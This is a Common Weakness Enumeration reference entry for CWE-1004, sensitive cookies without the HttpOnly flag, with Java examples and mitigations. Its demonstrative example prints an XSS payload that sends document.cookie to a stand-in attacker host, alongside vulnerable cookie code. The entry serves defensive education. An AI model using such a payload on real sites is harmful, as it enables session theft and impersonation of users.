CWE

Common Weakness Enumeration

A Community-Developed List of Software Weakness Types

CWE/SANS Top 25 Most Dangerous Software Errors
Home > CWE List > CWE- Individual Dictionary Definition (2.11)  
ID

CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag

Weakness ID: 1004
Abstraction: Variant
Status: Incomplete
Presentation Filter:
+ Description

Description Summary

The software uses a cookie to store sensitive information, but the cookie is not marked with the HttpOnly flag.

Extended Description

The HttpOnly flag directs compatible browsers to prevent client-side script from accessing cookies. Including the HttpOnly flag in the Set-Cookie HTTP response header helps mitigate the risk associated with Cross-Site Scripting (XSS) where an attacker's script code might attempt to read the contents of a cookie and exfiltrate information obtained. When set, browsers that support the flag will not reveal the contents of the cookie to a third party via client-side script executed via XSS.

+ Time of Introduction
  • Implementation
  • Architecture and Design
+ Applicable Platforms

Languages

Language-independent

Architectural Paradigms

Web-based

Technology Classes

Web-Server

+ Common Consequences
ScopeEffect
Confidentiality

Technical Impact: Read application data

If the HttpOnly flag is not set, then sensitive information stored in the cookie may be exposed to unintended parties.

Integrity

Technical Impact: Gain privileges / assume identity

If the cookie in question is an authentication cookie, then not setting the HttpOnly flag may allow an adversary to steal authentication data (e.g., a session ID) and assume the identity of the user.

+ Likelihood of Exploit

Medium

+ Demonstrative Examples

Example 1

In this example, a cookie is used to store a session ID for a client's interaction with a website. The intention is that the cookie will be sent to the website with each request made by the client.

The snippet of code below establishes a new cookie to hold the sessionID.

(Bad Code)
Example Language: Java 
String sessionID = generateSessionId();
Cookie c = new Cookie("session_id", sessionID);
response.addCookie(c);

The HttpOnly flag is not set for the cookie. An attacker who can perform XSS could insert malicious script such as:

(Attack)
Example Language: Javascript 
document.write('<img src="http://attacker.example.com/collect-cookies?cookie=' + document.cookie . '">'

When the client loads and executes this script, it makes a request to the attacker-controlled web site. The attacker can then log the request and steal the cookie.

To mitigate the risk, use the setHttpOnly(true) method.

(Good Code)
Example Language: Java 
String sessionID = generateSessionId();
Cookie c = new Cookie("session_id", sessionID);
c.setHttpOnly(true);
response.addCookie(c);
+ Observed Examples
ReferenceDescription
CMS written in Python does not include the HTTPOnly flag in a Set-Cookie header, allowing remote attackers to obtain potentially sensitive information via script access to this cookie.
Appliance for managing encrypted communications does not use HttpOnly flag.
+ Potential Mitigations

Phase: Implementation

Leverage the HttpOnly flag when setting a sensitive cookie in a response.

Effectiveness: High

While this mitigation is effective for protecting cookies from a browser's own scripting engine, third-party components or plugins may have their own engines that allow access to cookies.

Attackers might also be able to use XMLHTTPResponse to read the headers directly and obtain the cookie.

+ Background Details

An HTTP cookie is a small piece of data attributed to a specific website and stored on the user's computer by the user's web browser. This data can be leveraged for a variety of purposes including saving information entered into form fields, recording user activity, and for authentication purposes. Cookies used to save or record information generated by the user are accessed and modified by script code embedded in a web page. While cookies used for authentication are created by the website's server and sent to the user to be attached to future requests. These authentication cookies are often not meant to be accessed by the web page sent to the user, and are instead just supposed to be attached to future requests to verify authentication details.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfCategoryCategory442Web Problems
Development Concepts (primary)699
ChildOfWeakness ClassWeakness Class668Exposure of Resource to Wrong Sphere
Research Concepts1000
ChildOfWeakness ClassWeakness Class732Incorrect Permission Assignment for Critical Resource
Research Concepts (primary)1000
+ References
[R.1004.1] OWASP. "HttpOnly". <https://www.owasp.org/index.php/HttpOnly>.
[R.1004.2] Michael Howard. "Some Bad News and Some Good News". 2002. <https://msdn.microsoft.com/en-us/library/ms972826.aspx>.
[R.1004.3] Troy Hunt. "C is for cookie, H is for hacker - understanding HTTP only and Secure cookies". 2013-03-26. <https://www.troyhunt.com/c-is-for-cookie-h-is-for-hacker/>.
[R.1004.4] Microsoft. "Mitigating Cross-site Scripting With HTTP-only Cookies". <https://msdn.microsoft.com/en-us/library/ms533046.aspx>.
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
2017-01-02Internal CWE Team

More information is available — Please select a different filter.
Page Last Updated: May 05, 2017